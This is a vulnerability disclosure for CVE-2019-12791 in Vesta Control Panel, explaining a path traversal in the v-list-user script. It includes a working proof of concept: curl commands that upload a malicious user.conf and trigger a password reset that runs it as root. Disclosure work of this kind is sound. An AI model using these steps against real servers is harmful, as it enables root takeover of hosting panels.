Andrea Cardaci — 12 August 2019
Discovered | 2019-04-17 |
Author | Andrea Cardaci |
Product | Vesta Control Panel |
Tested versions | 0.9.8-24 |
CVE | CVE-2019-12791 |
The insufficient input sanitization used by the v-list-user
shell utility allows to perform directory traversal and execute shell files as root
anywhere in the file system but with a fixed file name.
This coupled with the legitimate ability of registered users to upload files in certain locations on the server grants an attacker the ability to perform privilege escalation from a registered user to root
by simply requesting a password reset.
HestiaCP (an actively maintained fork of VestaCP) version 1.0.4 is also vulnerable but a fix has been promptly deployed in version 1.0.5.
The v-list-user
script accepts an user name as an argument then evaluates the $VESTA/data/users/$user/user.conf
file and prints some values:1
source $VESTA/data/users/$user/user.conf
The only check that is performed against the user name is is_object_valid 'user' 'USER' "$user"
which basically checks that the path $VESTA/data/users/$user
is a valid directory. So if ../../../../../tmp
is passed as user name then the file /tmp/user.conf
is evaluated.2
A registered user can upload files on the server using the /upload/
endpoint. The following is used to upload the proof script to /tmp/user.conf
:
$ PHPSESSID=... # grab it from an authenticated regular user session
$ COMMAND='id > /usr/local/vesta/web/proof'
$ echo "$COMMAND" | curl -sk -o /dev/null \
'https://target.com:8083/upload/?dir=/tmp' \
-b "PHPSESSID=$PHPSESSID" \
-F 'files=@-;filename=user.conf'
It is then possible to invoke the v-list-user
utility by requesting a password reset:
$ curl -k https://target.com:8083/reset/ -d 'user=../../../../../tmp'
In VestaCP the web server is run by the admin
user and the password reset page executes the v-list-user
script with sudo
thus the user.conf
is evaluated by root
.
Check that the proof file is created in the web server root:
$ curl -k https://target.com:8083/proof
uid=0(root) gid=0(root) groups=0(root)